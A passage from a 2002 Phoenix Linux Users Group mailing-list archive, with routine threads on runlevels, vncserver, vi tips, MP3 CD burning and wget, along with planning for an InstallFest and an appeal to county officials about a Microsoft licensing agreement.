/etc/rc.d/rc5.d contains > aliases to the scripts that will be executed at this runlevel. You'll > also see a line like this: > > x:5:respawn:/etc/X11/prefdm -nodaemon > > This line tells your box to run the X Window System at runlevel 5. You'll > also see other lines for tty's, etc. So, by changing to runlevel 3, > you're exiting out of the GUI environment. If you wanted to run your box > without the GUI, you could change the initdefault to 3 and always boot to > a console (I do this for all of my servers). Level 6 means reboot, so if > you type init 6 (as root), you'll reboot your box. Init 0 is to shutdown. > Init 1 is single-user mode. The other runlevels can be defined for > whatever purpose you'd like. > > Consult the inittab manpage for more detail. > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 00:56:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Astrauskas) Date: Fri, 14 Jun 2002 17:56:40 -0700 (PDT) Subject: vncserver Message-ID: <20020615005640.93691.qmail@web11501.mail.yahoo.com> This is just a quick question: How do I tell vncserver which window manager to use? I've tried editing the following files with no luck: /etc/vnc.conf ~/.vnc/xstartup ~/.vncrc I have done it before, but now that I need to do it again, I cannot figure it out. Anyone know where I need to tell it? -A.P. Etc __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:13:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 18:13:21 -0700 (PDT) Subject: Possible Fry's sponsorship? Message-ID: I'll be meeting with the Fry's (on Baseline) store manager tomorrow to see if they'd be interested in contributing to the InstallFest. I'm mostly interested in getting as many of the Linux quicksheets that they sell as possible. But maybe they could donate books or Linux distros or whatever else. So, what has PLUG been offering to other businesses that are contributing? I'd like to go in and be able to say exactly what we can offer them in return. I'm guessing that other contributors are going to have signs up and other forms of advertising for their business? Anything else we're doing to recognize sponsors, etc.? Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:15:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 14 Jun 2002 21:15:42 -0400 Subject: Date??? References: <1024068299.29445.63.camel@hawk> Message-ID: <3D0A953E.81A1AFE6@georgetoft.com> This thread does not discuss how to save the time to CMOS, so the problem will return next reboot. Look at hwclock --systohc George Carl Parrish wrote: > > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:10:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 14 Jun 2002 21:10:49 -0400 Subject: Questions References: <002601c21401$9125eda0$6501a8c0@drghastly> Message-ID: <3D0A9419.281A17B7@georgetoft.com> Make sure you are root when you edit it. George "Dr.G" wrote: > > Ok, i've look at the man page and tried editing the file, but it will not > allow me to save it. I also cannot switch to the command line desktop > because KDE GNOME and TWM are the only options....soo.? Not sure where to go > from here > > ----- Original Message ----- > From: "Matt Alexander" > To: > Sent: Thursday, June 13, 2002 6:53 PM > Subject: Re: Questions > > > On Thu, 13 Jun 2002, Dr.G wrote: > > > > > I assume by runlevel3 you mean my level of access? <----Noob. > > > > When your system boots up it consults /etc/inittab to find the default > > runlevel. Your inittab most likely has this line: > > > > id:5:initdefault: > > > > This tells your system to boot into runlevel 5. /etc/rc.d/rc5.d contains > > aliases to the scripts that will be executed at this runlevel. You'll > > also see a line like this: > > > > x:5:respawn:/etc/X11/prefdm -nodaemon > > > > This line tells your box to run the X Window System at runlevel 5. You'll > > also see other lines for tty's, etc. So, by changing to runlevel 3, > > you're exiting out of the GUI environment. If you wanted to run your box > > without the GUI, you could change the initdefault to 3 and always boot to > > a console (I do this for all of my servers). Level 6 means reboot, so if > > you type init 6 (as root), you'll reboot your box. Init 0 is to shutdown. > > Init 1 is single-user mode. The other runlevels can be defined for > > whatever purpose you'd like. > > > > Consult the inittab manpage for more detail. > > ~M > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:17:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 18:17:34 -0700 (PDT) Subject: Questions In-Reply-To: <002601c21401$9125eda0$6501a8c0@drghastly> Message-ID: You'll need to be root to save your changes. Within KDE, Gnome, or TWM, there should be a "console" program that you can use to work at the command line. In KDE, you can access Konsole by going through the K menu, then System, then Konsole. Next, you'll need to change to the root user. You can use the "su" command to do this. Type su on the command line and then enter the password for root. ~M On Fri, 14 Jun 2002, Dr.G wrote: > Ok, i've look at the man page and tried editing the file, but it will not > allow me to save it. I also cannot switch to the command line desktop > because KDE GNOME and TWM are the only options....soo.? Not sure where to go > from here > > > > ----- Original Message ----- > From: "Matt Alexander" > To: > Sent: Thursday, June 13, 2002 6:53 PM > Subject: Re: Questions > > > > On Thu, 13 Jun 2002, Dr.G wrote: > > > > > I assume by runlevel3 you mean my level of access? <----Noob. > > > > When your system boots up it consults /etc/inittab to find the default > > runlevel. Your inittab most likely has this line: > > > > id:5:initdefault: > > > > This tells your system to boot into runlevel 5. /etc/rc.d/rc5.d contains > > aliases to the scripts that will be executed at this runlevel. You'll > > also see a line like this: > > > > x:5:respawn:/etc/X11/prefdm -nodaemon > > > > This line tells your box to run the X Window System at runlevel 5. You'll > > also see other lines for tty's, etc. So, by changing to runlevel 3, > > you're exiting out of the GUI environment. If you wanted to run your box > > without the GUI, you could change the initdefault to 3 and always boot to > > a console (I do this for all of my servers). Level 6 means reboot, so if > > you type init 6 (as root), you'll reboot your box. Init 0 is to shutdown. > > Init 1 is single-user mode. The other runlevels can be defined for > > whatever purpose you'd like. > > > > Consult the inittab manpage for more detail. > > ~M > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:21:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Fri, 14 Jun 2002 18:21:57 -0700 Subject: Possible Fry's sponsorship? In-Reply-To: References: Message-ID: <200206141821.58034.jon@unfm00.com> thats a great idea... How many people are expected to show up? On Friday 14 June 2002 18:13, Matt Alexander wrote: > I'll be meeting with the Fry's (on Baseline) store manager tomorrow to see > if they'd be interested in contributing to the InstallFest. I'm mostly > interested in getting as many of the Linux quicksheets that they sell as > possible. But maybe they could donate books or Linux distros or whatever > else. So, what has PLUG been offering to other businesses that are > contributing? I'd like to go in and be able to say exactly what we can > offer them in return. I'm guessing that other contributors are going to > have signs up and other forms of advertising for their business? Anything > else we're doing to recognize sponsors, etc.? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:27:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 14 Jun 2002 21:27:18 -0400 Subject: Quick references References: Message-ID: <3D0A97F6.9FF445C0@georgetoft.com> You missed two commands I use A LOT: C (whack off the line and insert) and ^G (WTF am I?) When is page two coming out which shows the : commands, like search & replace, block copy, block move, etc? Then you need the Palm Pilot note version. I have one that was very popular at the last Unix shop I was at. Here's my Palm version: vi Tips - Search and replace: :,s///g :s/this/that/g - Moving text: :,m :1,2m5 - Copying text: :,co :1,2co5 - Delete line that contains "string" :,g/string/d - Delete line that does not contain "string" :,v/string/d Ranges: $ = last line . = current line ___________________ Cursor Movement G = end of file $ = end of line Interact with Unix - Execute the command "pwd" on unix and return to vi :!pwd - Execute the command "pwd" on unix and capture the output into the file being edited !!pwd - Exit out of the file being edited into unix temporarily :sh Read / Write from another file - Write lines 1 through 10 from the current file to outfile :1,10 w outfile - Write lines 1 through 10 from the current file to outfile forcefully :1,10 w! outfile - Append lines 1 through 10 from the current file to outfile :1,10 w >> outfile - Read from infile to the current file below current line :r infile - Read from infile to the current file below line 23 of current file :23r infile Misc - Set line numbers to visible :set num George William Lindley wrote: > > I put this together for vi -- > > http://www.wlindley.com/gnu/vi.htm > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:39:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 14 Jun 2002 08:39:47 -0700 Subject: mp3 In-Reply-To: <1024068440.29657.68.camel@hawk> Message-ID: <200206141540.LAA30724@hostinworld6.com> An MP3CD is (as it took me two years to figure out) a data cd w/mp3 files on it (as data, not audio) and a m3u playlist with those files in it. Good luck. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 14 Jun 2002 08:27:19 -0700, Carl Parrish wrote: > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > seems to only want to burn .wav formats (I may be missing a setting). > And cdrecord is giving me an error. I want to start playing with my DVD > / mp3 player. Only I don't have any disc actually burned with mp3s. So > any help here? > > Carl P. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 03:45:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Fri, 14 Jun 2002 20:45:43 -0700 Subject: install fest suggestion In-Reply-To: References: Message-ID: <200206142045.43128.jon@unfm00.com> How many people do we have working the Debian table? If I can get off of work on Sat., I would love to participate. Are we going to have access to the network/internet? jon unfm00.com On Friday 14 June 2002 14:07, Derek Neighbors wrote: > I dont have the original email but, I recall data doctors saying their > program was innappropriate for disseminating the notion of the GNU\Linux > operating system, because of the 'older' demographic. > > Could someone please pass this article: > http://newsforge.com/article.pl?sid=02/06/12/1731250&tid=19 > > > on to the kind people at data doctors? Just because you are old, doesn't > mean you are dumb nor that you like vendors to treat you like crap. ;) > > > -Derek > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 05:15:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Fri, 14 Jun 2002 22:15:22 -0700 Subject: Possible Fry's sponsorship? In-Reply-To: References: Message-ID: <200206142215.23043.alandd@mindspring.com> If you have the ear of the manager, use it! I have been working on getting local sponsors for the Install Fest and getting no where. I have talked to a sub manager at Fry's, more than a month ago. She referred me to the home office in CA, the Community Relations Department. When I finally actually talked to the guy after 3 days of long distance calls of trying, he said he would have to talk to a VP to see about thier participation. I have followed up numerous times since then and either left messages or he says he does not know the answer yet. If you can get in, do it. As to what we are offering: -A complete table display, a "booth" so to speak, if they want it. -Banner space. -Ad distribuiton. -Mention on the Install Fest web site. -Verbal thanks as we give/use/display whatever they contribute. -Follow-on thanks on the web site and at meetings. -Whatever else we can reasonably and legally give as exposure. If anyone else has some favorite vendor/store they use and has an ear to bend, use it. We could really use some refreshment donations like soda and stuff. Books, hardware, software a nice chair or anything that can be used/consumed/looked at while using Linux would be just fine! Point them at me if you like or "sign" them up yourself. Just let me or Bill know about what they are going to provide so we can plan for it. Alan On Friday 14 June 2002 06:13 pm, Matt Alexander wrote: > I'll be meeting with the Fry's (on Baseline) store manager tomorrow to see > if they'd be interested in contributing to the InstallFest. I'm mostly > interested in getting as many of the Linux quicksheets that they sell as > possible. But maybe they could donate books or Linux distros or whatever > else. So, what has PLUG been offering to other businesses that are > contributing? I'd like to go in and be able to say exactly what we can > offer them in return. I'm guessing that other contributors are going to > have signs up and other forms of advertising for their business? Anything > else we're doing to recognize sponsors, etc.? > Thanks, > ~M From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 05:27:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 14 Jun 2002 22:27:48 -0700 (MST) Subject: install fest suggestion In-Reply-To: <200206142045.43128.jon@unfm00.com> Message-ID: On Fri, 14 Jun 2002, Jon K wrote: > How many people do we have working the Debian table? If I can get off of work > on Sat., I would love to participate. Are we going to have access to the > network/internet? Two so far including you, anyone else up for Debian? Yes we will have internet access. \\/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 07:11:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Sawyer) Date: Sat, 15 Jun 2002 00:11:15 -0700 (MST) Subject: install fest suggestion Message-ID: <20020615071115.8BA3D6927F@mail.ssawyer.org> I will probably be helping a lot at the Red Hat table seeing that's who I work for. I also have a great deal of experience with Debian so I can help wherever. -Scott > On Fri, 14 Jun 2002, Jon K wrote: > > How many people do we have working the Debian table? If I can get off of work > > on Sat., I would love to participate. Are we going to have access to the > > network/internet? > > Two so far including you, anyone else up for Debian? > > Yes we will have internet access. > > \\/ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- Scott Sawyer Project Manager for Red Hat Inc. Member of LUNA (Linux Users of Northern Arizona View my photo portfolio at http://www.scottsawyer.org From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 08:20:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 15 Jun 2002 01:20:25 -0700 Subject: Quick references References: <3D0A97F6.9FF445C0@georgetoft.com> Message-ID: <3D0AF8C9.DD64DCFF@leml.asu.edu> George Toft wrote: > > You missed two commands I use A LOT: C (whack off the line and insert) > and ^G (WTF am I?) > > ... this got me to thinking... can someone find/make a template for a generic quick reference? Then we can fill in the blank... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 13:25:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sat, 15 Jun 2002 06:25:36 -0700 (MST) Subject: Spread the word -- InstallFest Flyer Message-ID: Friends, I encourage you to print a copy of the InstallFest flyer which is found at http://www.plugpresents.com/installfest/flyer.html ...and hand it to folks, post it at your workplace or school or wherever you can. Spread the word! See you all at Scottsdale Community College on 22 June! \\/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 13:48:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 09:48:14 -0400 Subject: mp3 References: <200206141540.LAA30724@hostinworld6.com> Message-ID: <3D0B459E.406D71AB@georgetoft.com> I have an MP3CD player that claims it can deal with multiple albums. As it was made for Asia and has a poorly worded and skimpy manual, does anyone know how do make multiple albums? I thought an album was a directory (it supports up to 20 directories 8 levels deep), but that is not the case. It is a Napa DAV316 Portable. George Bryce C wrote: > > An MP3CD is (as it took me two years to figure out) a data cd w/mp3 > files on it (as data, not audio) and a m3u playlist with those files in > it. Good luck. > > -- > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > On 14 Jun 2002 08:27:19 -0700, Carl Parrish wrote: > > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > > seems to only want to burn .wav formats (I may be missing a setting). > > And cdrecord is giving me an error. I want to start playing with my DVD > > / mp3 player. Only I don't have any disc actually burned with mp3s. So > > any help here? > > > > Carl P. > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:13:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Thomas Mondoshawan Tate) Date: Fri, 14 Jun 2002 14:13:33 -0700 Subject: Possible Fry's sponsorship? In-Reply-To: <200206142215.23043.alandd@mindspring.com> References: <200206142215.23043.alandd@mindspring.com> Message-ID: <20020614211333.GA153@crystaldragon> If Fry's won't "join up", give a shot at PC Computer Club on Southern and Alma School (near Fiesta Mall and the B of A building). They're a small enough company that exposure like what we could provide would be the perfect ad campaign. I'd go and ask myself, but my time is rather limited right now. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.dyndns.org On Fri, Jun 14, 2002 at 10:15:22PM -0700, Alan Dayley wrote: > If you have the ear of the manager, use it! I have been working on getting > local sponsors for the Install Fest and getting no where. I have talked to a > sub manager at Fry's, more than a month ago. She referred me to the home > office in CA, the Community Relations Department. When I finally actually > talked to the guy after 3 days of long distance calls of trying, he said he > would have to talk to a VP to see about thier participation. I have followed > up numerous times since then and either left messages or he says he does not > know the answer yet. > > If you can get in, do it. > > As to what we are offering: > -A complete table display, a "booth" so to speak, if they want it. > -Banner space. > -Ad distribuiton. > -Mention on the Install Fest web site. > -Verbal thanks as we give/use/display whatever they contribute. > -Follow-on thanks on the web site and at meetings. > -Whatever else we can reasonably and legally give as exposure. > > If anyone else has some favorite vendor/store they use and has an ear to bend, > use it. We could really use some refreshment donations like soda and stuff. > Books, hardware, software a nice chair or anything that can be > used/consumed/looked at while using Linux would be just fine! Point them at > me if you like or "sign" them up yourself. Just let me or Bill know about > what they are going to provide so we can plan for it. > > Alan > > On Friday 14 June 2002 06:13 pm, Matt Alexander wrote: > > I'll be meeting with the Fry's (on Baseline) store manager tomorrow to see > > if they'd be interested in contributing to the InstallFest. I'm mostly > > interested in getting as many of the Linux quicksheets that they sell as > > possible. But maybe they could donate books or Linux distros or whatever > > else. So, what has PLUG been offering to other businesses that are > > contributing? I'd like to go in and be able to say exactly what we can > > offer them in return. I'm guessing that other contributors are going to > > have signs up and other forms of advertising for their business? Anything > > else we're doing to recognize sponsors, etc.? > > Thanks, > > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:37:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Sat, 15 Jun 2002 09:37:14 -0700 Subject: Saving a web site local In-Reply-To: <20020614211333.GA153@crystaldragon> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> Message-ID: <200206150937.14349.alandd@mindspring.com> I want to save a web page and all the pages it links to (about 2 deep) to my local hard drive so I can browse it locally. I don't see this capability in Konqueror or Mozilla. How do I do this? Alan From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:39:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 15 Jun 2002 09:39:12 -0700 Subject: Help Maricopa County Do the Right Thing Message-ID: <0206150802011X.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have heard from a "reliable source" that the Maricopa County Council has decided not to automatically sign off on having the county sign an Enterprise Agreement with Microsoft. The source said that people within the county IT organizations made their opinion known that the Enterprise Agreement might not be the best path for the county to blindly follow. Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE contact your Maricopa County district council person and your city council people with some simple questions. a. Ask them if they plan to approve funding for the Enterprise Agreement with the Microsoft Corporation? b. If they do plan to do so, ask them to provide you with a copy of the agreement and the dollar amount to be expended. c. Ask them when they will be hearing from the public on the budget, so if they are adopting an Enterprise Agreement with Microsoft, you can have your voice heard publicly. d. Ask they why do they do business with a vendor that has been convicted of felony wrongdoings. . e. Ask them if they have they considered alternatives to Microsoft products. I dont have city contact information but county contact information is as follows: Map To Find Your Council Person http://www.maricopa.gov/county_glance/maps.asp?link=districtMap Council Contact Email Dist 1 Fulton Brock FBrock@mail.maricopa.gov Dist 2 Don Stapley DStapley@mail.maricopa.gov Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov Dist 4 Max Wilson mwwilson@mail.maricopa.gov Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov Also I would cc: the County Administrator and Deputy County Administrator CAO: David Smith DSmith@mail.maricopa.gov DCA: Sandi Wilson Swilson@mail.maricopa.gov - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE cWg2GbQ9y1u85/ycX+Ko2+ss =GiK8 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:44:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gordon Chamberlin) Date: 15 Jun 2002 09:44:56 -0700 Subject: vncserver In-Reply-To: <20020615005640.93691.qmail@web11501.mail.yahoo.com> References: <20020615005640.93691.qmail@web11501.mail.yahoo.com> Message-ID: <1024159502.12004.18.camel@nabla.phx.viz> xstartup works for me. The last line of mine just states 'twm &', which is admittedly boring but low resource and so is fast for running remotely. You can also login into the remote machine. I comment out the xstartup file completely and run the following: vncserver -depth 8 -geometry 1400x1050 -query -Gordon On Fri, 2002-06-14 at 17:56, Mark Astrauskas wrote: > This is just a quick question: How do I tell vncserver > which window manager to use? I've tried editing the > following files with no luck: > /etc/vnc.conf > ~/.vnc/xstartup > ~/.vncrc > > I have done it before, but now that I need to do it > again, I cannot figure it out. Anyone know where I > need to tell it? > > -A.P. Etc > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Gordon Chamberlin Software Architect Visualize, Inc. http://www.visualizeinc.com (602) 861-0999 ext. 14 glac@visualizeinc.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:52:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 15 Jun 2002 09:52:07 -0700 Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> References: <20020614211333.GA153@crystaldragon> <200206150937.14349.alandd@mindspring.com> Message-ID: <02061509520720.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I use gftp. I can highlight any/all files on the remote site and move them all to my local machine in a few clicks. Works the same way when updating pages locally and then moving them all to a remote server. On Saturday 15 June 2002 09:37, you wrote: > I want to save a web page and all the pages it links to (about 2 deep) to > my local hard drive so I can browse it locally. I don't see this > capability in Konqueror or Mozilla. How do I do this? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQtwtysk3ywszI1FEQLmUACfeuZ4SiiEKpk5eKsnqKMlr8EaaAQAoN1y gjbDyVJbi9rdC6qOw5eikwYN =CZqk -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:46:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Thomas Mondoshawan Tate) Date: Fri, 14 Jun 2002 14:46:59 -0700 Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> <200206150937.14349.alandd@mindspring.com> Message-ID: <20020614214659.GA14303@crystaldragon> On Sat, Jun 15, 2002 at 09:37:14AM -0700, Alan Dayley wrote: > I want to save a web page and all the pages it links to (about 2 deep) to my > local hard drive so I can browse it locally. I don't see this capability in > Konqueror or Mozilla. How do I do this? > > Alan Dunno about Konqueror, but in Mozilla when you select File->Save Page As... you'll notice in the save dialog that the filetype is "Web Page, complete (*.htm; *.html)". If you save it this way, Mozilla will download all images of that page and store them in a directory called _files in the same dir that you saved the file in. Also, Mozilla will change all relative links to point to the files in the _files directory to match. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.dyndns.org From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:58:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Sat, 15 Jun 2002 09:58:27 -0700 Subject: Saving a web site local In-Reply-To: <02061509520720.08309@nova.wedge.org> References: <200206150937.14349.alandd@mindspring.com> <02061509520720.08309@nova.wedge.org> Message-ID: <200206150958.27844.alandd@mindspring.com> A brain cell clicked in after I posted the question. wget. Read the man page and now I have done what I needed with wget. Thanks for the tip on gftp, though. Alan On Saturday 15 June 2002 09:52 am, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I use gftp. I can highlight any/all files on the remote site and move them > all to my local machine in a few clicks. Works the same way when updating > pages locally and then moving them all to a remote server. > > On Saturday 15 June 2002 09:37, you wrote: > > I want to save a web page and all the pages it links to (about 2 deep) to > > my local hard drive so I can browse it locally. I don't see this > > capability in Konqueror or Mozilla. How do I do this? > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQtwtysk3ywszI1FEQLmUACfeuZ4SiiEKpk5eKsnqKMlr8EaaAQAoN1y > gjbDyVJbi9rdC6qOw5eikwYN > =CZqk > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:58:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 15 Jun 2002 09:58:57 -0700 (PDT) Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> Message-ID: On Sat, 15 Jun 2002, Alan Dayley wrote: > I want to save a web page and all the pages it links to (about 2 deep) to my > local hard drive so I can browse it locally. I don't see this capability in > Konqueror or Mozilla. How do I do this? In Konq, select Tools --> Archive Web Page It will only save the current page and doesn't save all pages linked to (which is a really good thing, if you think about it). ~M From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 17:22:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Sat, 15 Jun 2002 10:22:11 -0700 Subject: Spread the word -- InstallFest Flyer References: Message-ID: <3D0B77C3.AA1DA7C5@cox.net> Great flyer- Love the PLUG logo. A word to the wise from an old rockhound, though- check the spelling on "turquoise." -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 17:52:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 15 Jun 2002 10:52:18 -0700 